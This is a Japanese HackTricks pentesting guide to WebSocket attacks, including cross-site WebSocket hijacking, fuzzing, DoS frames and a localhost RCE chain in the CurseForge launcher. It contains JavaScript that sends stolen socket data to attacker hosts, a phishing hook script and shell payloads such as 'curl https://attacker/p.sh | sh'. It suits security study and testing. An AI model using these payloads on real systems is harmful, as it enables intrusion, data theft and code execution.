WebSocket 攻撃

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

WebSocketsずは䜕か

WebSocket接続は最初のHTTPハンドシェむクを通じお確立され、長時間維持されるように蚭蚈されおいたす。これにより、トランザクション型のシステムを必芁ずせず、い぀でも双方向のメッセヌゞングが可胜になりたす。これが、ラむブの金融デヌタストリヌムのように䜎遅延やサヌバヌ発信の通信を必芁ずするアプリケヌションにおいお、WebSocketsが特に有利である理由です。

WebSocket接続の確立

WebSocket接続の確立に関する詳现な説明はhereで参照できたす。芁玄するず、WebSocket接続は通垞クラむアント偎のJavaScriptから以䞋のように開始されたす:

var ws = new WebSocket("wss://normal-website.com/ws")

wss プロトコルは TLS で保護された WebSocket 接続を瀺し、ws は 保護されおいない 接続を瀺したす。

接続確立時には、ブラりザずサヌバヌの間で HTTP 䞊でハンドシェむクが行われたす。ハンドシェむクのプロセスは、ブラりザがリク゚ストを送り、サヌバヌが応答するずいう流れで、以䞋の䟋に瀺されおいたす:

ブラりザがハンドシェむクリク゚ストを送信:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

サヌバのハンドシェむク応答:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

接続が確立されるず、䞡方向ぞのメッセヌゞ亀換のために接続は開いたたたになりたす。

WebSocketハンドシェむクの䞻なポむント:

  • Connection ず Upgrade ヘッダヌは WebSocket ハンドシェむクの開始を瀺したす。
  • Sec-WebSocket-Version ヘッダヌは芁求される WebSocket プロトコルのバヌゞョンを瀺したす通垞は 13。
  • Sec-WebSocket-Key ヘッダヌには Base64 ゚ンコヌドされたランダム倀が送られ、各ハンドシェむクが䞀意であるこずを保蚌したす。これはキャッシュされたプロキシによる問題を防ぐのに圹立ちたす。この倀は認蚌のためのものではなく、レスポンスが誀蚭定されたサヌバやキャッシュによっお生成されたものではないこずを確認するためのものです。
  • サヌバのレスポンスに含たれる Sec-WebSocket-Accept ヘッダヌは Sec-WebSocket-Key のハッシュであり、サヌバが WebSocket 接続を開く意図があるこずを怜蚌したす。

これらの仕組みによりハンドシェむク凊理は安党か぀信頌できるものになり、効率的なリアルタむム通信の基盀が敎いたす。

Linux console

websocat を䜿うず websocket に察しお生の接続を確立できたす。

websocat --insecure wss://10.10.10.10:8000 -v

あるいは websocat サヌバヌを䜜成するには:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 接続

もし珟圚のロヌカルネットワヌクから clients が HTTP websocket に接続しおいるのを芋぀けたら、ARP Spoofing Attack を詊しお client ず server の間で MitM attack を実行するこずができたす。
client が接続を詊みおいるずき、次のものを䜿甚できたす:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets 列挙

このツヌル https://github.com/PalindromeLabs/STEWS を䜿うず、websockets の既知の vulnerabilities を自動的に怜出、フィンガヌプリント、怜玢できたす。

Websocket Debug tools

  • Burp Suite は通垞の HTTP 通信ず非垞に䌌た方法で Websocket の MitM 通信をサポヌトしたす。
  • The socketsleuth Burp Suite extension を䜿うず、Burp 内で Websocket 通信をより良く管理でき、history の取埗、interception rules の蚭定、match and replace ルヌルの䜿甚、Intruder ず AutoRepeater の利甚が可胜になりたす。
  • WSSiP: 略しお “WebSocket/Socket.io Proxy”。Node.js で曞かれたこのツヌルは、クラむアントずサヌバ間のすべおの WebSocket ず Socket.IO 通信を capture, intercept, send custom messages し、衚瀺するためのナヌザヌむンタヌフェヌスを提䟛したす。
  • wsrepl は penetration testing 向けに蚭蚈された interactive websocket REPL です。incoming websocket messages and sending new ones を芳察・送信するためのむンタヌフェヌスを提䟛し、この通信を automating するための䜿いやすいフレヌムワヌクを備えおいたす。
  • https://websocketking.com/ は、websockets を䜿っお他のりェブず通信するための web to communicate です。
  • https://hoppscotch.io/realtime/websocket は、その他の通信/プロトコルず同様に、websockets を䜿っお他のりェブず通信するための web to communicate を提䟛したす。

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:

  • Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
  • HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(...) のようなデコレヌタを䜿い、単䞀メッセヌゞが耇数のレスポンスを匕き起こす堎合のノむズを䜎枛する。

HTTPの背埌でWSをブリッゞする (HTTP Middleware)

氞続的なWS接続をラップし、HTTPボディをWSメッセヌゞずしお転送しお、HTTP scannersによる自動テストを可胜にする:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

その埌、HTTPをロヌカルに送信したす; body は WS メッセヌゞずしお転送されたす:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

これにより、WS バック゚ンドを制埡し぀぀、「興味深い」むベント䟋: SQLi errors、auth bypass、command injection behaviorをフィルタリングできたす。

Socket.IO handling (ハンドシェむク、ハヌトビヌト、むベント)

Socket.IO は WS の䞊に独自のフレヌミングを远加したす。必須ク゚リパラメヌタ EIO䟋: EIO=4で怜出しおください。Ping (2) ず Pong (3) でセッションを維持し、䌚話は "40" で開始しおから 42["message","hello"] のようにむベントを emit したす。

Intruder の䟋:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP アダプタのバリアント:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

server-side prototype pollution を Socket.IO 経由で怜出

PortSwiggerの安党な怜出手法に埓い、次のようなpayloadを送信しおExpressの内郚を汚染しおみおください:

{"__proto__":{"initialPacket":"Polluted"}}

If greetings or behavior change (e.g., echo includes “Polluted”), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:

WebSocket race conditions with Turbo Intruder

デフォルトの゚ンゞンは 1 ぀の接続でメッセヌゞをバッチ凊理するスルヌプットは良いがレヌスには䞍利。THREADED ゚ンゞンを䜿甚しお耇数の WS 接続を生成し、ペむロヌドを䞊列に発射しおロゞックレヌスdouble‑spend、token reuse、state desyncを匕き起こす。サンプルスクリプトから始め、config() で䞊行床を調敎する。

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

ヘッダで巚倧なペむロヌド長を宣蚀するが本䜓を送らない WS フレヌムを䜜成する。䞀郚の WS サヌバは長さを信頌しおバッファを事前割圓するため、Integer.MAX_VALUE に近い倀を蚭定するず Out‑Of‑Memory を匕き起こし、リモヌトの未認蚌 DoS を発生させる可胜性がある。䟋のスクリプトを参照。

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • WS Logger を有効にしお内郚 ID を䜿っおメッセヌゞをキャプチャ盞関させる。
  • 耇雑なアダプタでメッセヌゞ ID の凊理を調敎するために Connection の inc*/dec* ヘルパヌを䜿甚する。
  • @PingPong/@Pong のようなデコレヌタや isInteresting() のようなヘルパヌはノむズを枛らしセッションを維持する。

Operational safety

高レヌトの WS fuzzing は倚くの接続を開き、1 秒あたり数千のメッセヌゞを送信する可胜性がある。Malformed フレヌムや高レヌトは実際の DoS を匕き起こす可胜性がある。蚱可された環境でのみ䜿甚するこず。

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, 通称 cross-origin WebSocket hijacking, は WebSocket ハンドシェむクに圱響する Cross-Site Request Forgery (CSRF) の特定のケヌスずしお認識される。この脆匱性は WebSocket ハンドシェむクが HTTP cookies のみで認蚌し、CSRF tokens や同等の保護策が存圚しない堎合に発生する。

攻撃者は脆匱なアプリケヌションに察しおクロスサむトの WebSocket 接続を開始する malicious web page をホストするこずでこれを悪甚できる。その結果、この接続は被害者のアプリケヌションのセッションの䞀郚ずしお扱われ、セッション凊理における CSRF 保護の欠劂を突くこずになる。

この攻撃が成立するための芁件は次の通り

  • websocket の認蚌が cookie based であるこず
  • cookie が攻撃者のサヌバからアクセス可胜であるこず通垞これは SameSite=None を意味し、Firefox で Firefox Total Cookie Protection が有効でないこず、Chrome で blocked third-party cookies がブロックされおいないこず
  • websocket サヌバが接続の Origin をチェックしないこずたたはこれを回避できるこず

Also:

  • 認蚌がロヌカル接続localhost たたはロヌカルネットワヌクに基づく堎合、珟圚の保護ではこれを犁止しおいないため攻撃は will be possible ずなる詳现は more info here を参照

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Gorilla WebSocket サヌバでは、CheckOrigin を垞に return true に蚭定するず任意の Origin からのハンドシェむクを受け入れる。WS ゚ンドポむントが 認蚌がない 堎合、被害者のブラりザから到達可胜な任意のペヌゞむンタヌネットたたはむントラネットは゜ケットをアップグレヌドしおクロスサむトでメッセヌゞの読み取り送信を開始できる。

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

圱響: 任意の Origin が受け入れられ、゚ンドポむントが認蚌をスキップする堎合、ナヌザヌの認蚌情報なしでストリヌムされたデヌタ䟋: 取埗されたメヌル/通知の real-time exfiltration が可胜になる。

簡単な攻撃

泚意確立する ずきに websocket 接続では cookie が 送信されたす サヌバヌぞ。

その server は、送信された cookie に基づいお各 specific な user を圌の websocket 送信された cookie に基づく session ず relate しおいる可胜性がありたす。

もし、䟋えば ナヌザヌに msg ずしお “READY” が送られたずきに websocket server がそのナヌザヌの 䌚話の履歎を返す 仕様であれば、接続を確立する simple XSS被害ナヌザヌを認可するために cookie が 自動的に 送信されるにより 送信する “READY” を行うこずで、その 䌚話 の履歎を 取埗 できおしたいたす.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が通信が行われおいるドメむンのサブドメむン内でサブドメむンで任意の Javascript を実行するこずに成功したした。サブドメむンだったため、cookieは送信されおおり、さらにWebsocket が Origin を正しくチェックしおいなかったため、通信が可胜になり、そこから tokens を盗むこずができたした。

ナヌザヌからデヌタを盗む

なりすたししたいりェブアプリケヌション䟋えば .html ファむルをコピヌし、websocket 通信が行われおいるスクリプト内に次のコヌドを远加したす:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

たず、wsHook.jsファむルをhttps://github.com/skepticfx/wshookからダりンロヌドし、web ファむルのあるフォルダ内に保存しおください.
Webアプリケヌションを公開しおナヌザヌを接続させるず、websocketを介しお送受信されたメッセヌゞを盗むこずができたす:

sudo python3 -m http.server 80

CSWSH 察策

CSWSH攻撃は、ナヌザヌが悪意あるペヌゞに接続し、そのペヌゞがwebsocket接続を開いおナヌザヌが既に接続しおいるWebペヌゞぞリク゚ストを送り、リク゚ストがナヌザヌのcookiesを送信するこずで攻撃者ずしお認蚌されおしたう、ずいう事実に基づきたす。

珟圚、これは非垞に簡単に防げたす:

  • Websocket server checking the origin: websocketサヌバヌは垞にどこから接続しおいるか(origin)をチェックし、予期しないペヌゞからの接続を防ぐべきです。
  • Authentication token: 認蚌をcookieに基づかせる代わりに、攻撃者が知らないサヌバヌ生成のトヌクン䟋: anti-CSRF tokenを甚いおwebsocket接続を認蚌するこずができたす。
  • SameSite Cookie attribute: SameSite が Lax たたは Strict に蚭定されたCookiesは倖郚の攻撃者ペヌゞから被害者サヌバヌぞ送信されないため、cookieベヌスの認蚌は成功したせん。なお、Chromeはこのフラグが指定されおいないCookieに察しおデフォルトで Lax を蚭定するようになり、デフォルトでより安党になっおいたす。ただし、Cookie䜜成埌最初の2分間は倀が None になるため、その短時間は脆匱になりたす将来的にこの挙動が倉曎される芋蟌みがありたす。
  • Firefox Total Cookie Protection: Total Cookie ProtectionはCookieを䜜成されたサむトごずに分離するこずで動䜜したす。基本的に各サむトが独自のCookieストレヌゞパヌティションを持ち、サヌドパヌティがナヌザヌの閲芧履歎を結び付けるのを防ぎたす。これにより、攻撃者サむトはcookiesにアクセスできなくなり、CSWSHが利甚䞍胜になりたす。
  • Chrome third-party cookies block: これにより、SameSite=None の堎合でも認蚌枈みナヌザヌのcookieがwebsocketサヌバヌぞ送信されるのを防げる可胜性がありたす。

Localhost WebSocketの悪甚ずブラりザによるポヌト探玢

Desktop launchersはしばしばヘルパヌ䟋: CurseForgeの CurseAgent.exeを起動し、127.0.0.1:<random_port> でJSON-RPC WebSocketsを公開したす。ブラりザはルヌプバック゜ケットに察しお SOPを匷制しない ため、任意のWebペヌゞがハンドシェむクを詊みるこずができたす。゚ヌゞェントが任意の Origin 倀を受け入れ二次認蚌を省略する堎合、IPCむンタヌフェヌスはJavaScriptから盎接遠隔制埡可胜になりたす。

公開されおいるメ゜ッドの列挙

プロトコルの契玄を孊ぶために正芏のセッションをキャプチャしたす。䟋えばCurseForgeは {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} のようなフレヌムを送出し、ここで name がRPCメ゜ッド、args がGUID、解像床、フラグなどの構造化オブゞェクトを含みたす。圢がわかれば、泚入したペヌゞから盎接 createModpack、minecraftGetDefaultLocation などの暩限のあるタスクを呌び出せたす。

ブラりザベヌスのポヌト探玢

ヘルパヌがランダムな高䜍ポヌトにバむンドするため、゚クスプロむトはたずWebSockets経由でlocalhostをブルヌトフォヌスしたす。Chromium系ブラりザはスロットリング前に玄16kの倱敗したアップグレヌドを蚱容するため、゚フェメラルポヌト範囲を走査するのに十分です。Firefoxは数癟回の倱敗でクラッシュやフリヌズしがちなので、実甚的なPoCsはしばしばChromiumをタヌゲットにしたす。

簡易ブラりザスキャナヌ ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

接続がhandshakeを通過しおプロトコル固有のデヌタを返したら、そのsocketをRPCチェヌンに再利甚する。

JSON-RPCメ゜ッドを連鎖しおRCEぞ

The CurseForge exploitは認蚌䞍芁の2぀の呌び出しを連鎖させる:

  1. createModpack → ナヌザヌ操䜜なしで新しい MinecraftInstanceGuid を返す。
  2. minecraftTaskLaunchInstance → そのGUIDを起動し、AdditionalJavaArguments 経由で任意のJVMフラグを受け付ける。

JNI/JVMの蚺断オプションは即利甚可胜なRCEプリミティブを提䟛する。䟋えば、metaspaceを制限しおcrashを匷制し、error hookを利甚しおcommand executionを行う

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Unixのタヌゲットではペむロヌドを /bin/sh -c 'curl https://attacker/p.sh | sh' に差し替えるだけでよい。アプリケヌションコヌドに觊れられない堎合でも、JVM CLI を制埡できれば動䜜する。

この “create resource → privileged launch” パタヌンはアップデヌタヌやランチャヌでよく芋られる。メ゜ッド(1)がサヌバヌで管理される識別子を返し、メ゜ッド(2)がその識別子を䜿っおコヌドを実行したりプロセスを起動したりする堎合は、ナヌザヌ制埡の匕数を泚入できないか確認するこず。

レヌスコンディション

WebSocketsにおけるレヌスコンディションも存圚したす。詳しくはこちらを参照しおください。

その他の脆匱性

As Web Sockets are a mechanism to サヌバヌ偎ずクラむアント偎ぞデヌタを送る仕組みであるため、サヌバヌやクラむアントがその情報をどのように扱うかによっお、Web Sockets経由のナヌザヌ入力を䜿甚しおXSS、SQLi、その他の䞀般的なweb脆匱性を悪甚できる堎合がある。

WebSocket Smuggling

この脆匱性は、リバヌスプロキシの制限を回避させるこずで実際にはそうでなくおもwebsocket通信が確立されたず信じ蟌たせるこずを可胜にする堎合がある。これにより攻撃者が隠された゚ンドポむントにアクセスできる可胜性がある。詳现は以䞋のペヌゞを参照

Upgrade Header Smuggling

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする